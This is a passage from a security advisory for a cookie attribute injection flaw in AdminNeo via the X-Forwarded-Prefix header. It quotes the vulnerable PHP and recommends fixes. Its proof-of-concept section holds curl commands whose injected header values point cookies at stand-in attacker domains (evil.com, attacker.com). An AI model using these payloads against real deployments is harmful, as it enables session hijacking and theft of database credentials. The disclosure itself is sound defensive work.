CVE-2026-96631 — Vulnerability intelligence
— adminneo-org/adminneo
Published:
- CVSS
- 8.2
- CISA KEV
- Not listed; not proof of no exploitation
Original source text (not a translation)
AdminNeo has Cookie Attribute Injection via Unsanitized X-Forwarded-Prefix in Set-Cookie Headers
### Summary
AdminNeo versions 4.6.0 through at least 5.5.0 are vulnerable to cookie attribute injection via the `X-Forwarded-Prefix` HTTP header. An attacker who can influence this header (e.g., through a reverse proxy that forwards it from clients, an attacker-controlled upstream proxy, or a man-in-the-middle position) can inject arbitrary cookie attributes including `Domain`, `Path`, `Secure`, and `SameSite` into all `Set-Cookie` response headers emitted by AdminNeo.
This allows an attacker to expand the cookie scope to an attacker-controlled domain (e.g., `Domain=.evil.com`), causing the victim's browser to send AdminNeo's `neo_sid` (session ID) and `neo_key` (database password encryption key) cookies to the attacker's server on subsequent requests.
Originally reported by @retkoussa in Adminer: https://github.com/vrana/adminer/security/advisories/GHSA-c533-9qwm-8w5h
### Vulnerable Code
**Root cause 1 - Unsanitized header prepended to `REQUEST_URI`**
(`admin/include/bootstrap.inc.php`, lines 50–52):
```php
if ($_SERVER["HTTP_X_FORWARDED_PREFIX"]) {
$_SERVER["REQUEST_URI"] = $_SERVER["HTTP_X_FORWARDED_PREFIX"] . $_SERVER["REQUEST_URI"];
}
```
The client-supplied `X-Forwarded-Prefix` header is concatenated into `REQUEST_URI` with no validation or sanitization of special characters (specifically semicolons, which delimit cookie attributes).
**Root cause 2 - Manual `Set-Cookie `header construction without escaping**
(`admin/include/functions.inc.php`, lines 416–424):
```php
function cookie(string $name, string $value, int $lifetime = 2592000): void
{
header("Set-Cookie: $name=" . rawurlencode($value)
. ($lifetime ? "; expires=" . gmdate("D, d M Y H:i:s", time() + $lifetime) . " GMT" : "")
. "; path=" . preg_replace('~\?.*~', '', $_SERVER["REQUEST_URI"])
. (HTTPS ? "; secure" : "")
. "; HttpOnly; SameSite=lax",
false);
}
```
The tainted `REQUEST_URI` is interpolated directly into the `path=` attribute of the `Set-Cookie` header. Since semicolons are not stripped or escaped, any `;`-separated directives injected via `X-Forwarded-Prefix` become valid cookie attributes parsed by the browser.
**Root cause 3 - Session cookie also tainted**
(`admin/include/bootstrap.inc.php`, line 61):
```php
session_set_cookie_params(0, preg_replace('~\?.*~', '', $_SERVER["REQUEST_URI"]), "", HTTPS, true);
```
The PHP session cookie (`neo_sid`) path is similarly derived from the tainted `REQUEST_URI`, extending the same vulnerability to the session cookie set by PHP itself.
### Impact
- **Session hijacking:** The `neo_sid` session cookie is sent to the attacker's domain, allowing full session takeover.
- **Credential theft:** The `neo_key` cookie contains the key used to encrypt/decrypt database passwords stored in the session. With this key, an attacker can decrypt saved database credentials.
- **Session fixation:** An attacker can inject arbitrary `Path`, `SameSite`, and `Secure` attributes, manipulating cookie behavior.
- **Wide applicability:** The `X-Forwarded-Prefix` header was specifically added to support reverse proxy deployments (Traefik `PathPrefixStrip`, nginx, HAProxy). These are the exact environments where this header is forwarded from clients, making the vulnerability relevant in the deployments it was designed for.
### Affected Cookies
|**Cookie**|**Content**|**Risk**|
|`neo_sid`|PHP session ID|Session hijacking|
|`neo_key`|Encryption key for stored DB passwords|Credential theft|
|`neo_settings`|User preferences|Low (information disclosure)|
### Proof of Concept
```shell
# Normal request with clean Set-Cookie headerss:
curl -sI http://localhost:8080/adminneo/index.php | grep -i set-cookie
> Response: Set-Cookie: neo_key=...; path=/adminneo/index.php; HttpOnly; SameSite=lax
# Malicious request — inject Domain=.evil.com:
curl -sI -H "X-Forwarded-Prefix: /adminneo; Domain=.evil.com" \
http://localhost:8080/adminneo/index.php | grep -i set-cookie
> Response: Set-Cookie: neo_key=...; path=/adminneo; Domain=.evil.com/adminneo/index.php; HttpOnly; SameSite=lax
# ^^^^^^^^^^^^^^^^^^^^^^^^^^^ INJECTED
# Full attribute override - inject Domain + SameSite=None:
curl -sI -H "X-Forwarded-Prefix: /; Path=/; Domain=.attacker.com; SameSite=None" \
http://localhost:8080/adminneo/index.php | grep -i set-cookie
> Response Set-Cookie: neo_key=...; path=/; Path=/; Domain=.attacker.com; SameSite=None/adminneo/index.php; ...
```
### Recommended Fix
1. **Sanitize `X-Forwarded-Prefix`:** Strip or reject semicolons, newlines, and other HTTP header metacharacters from the `X-Forwarded-Prefix` value before using it.
2. **Use `setcookie()` / `setrawcookie()`:** Replace the manual `header("Set-Cookie: ...")` construction in `cookie()` with PHP's built-in `setcookie()` function, which properly escapes attribute values.
3. **Validate `REQUEST_URI` before cookie use:** After any prefix manipulation, strip characters that are invalid in a cookie `path` attribute (`;`, `,`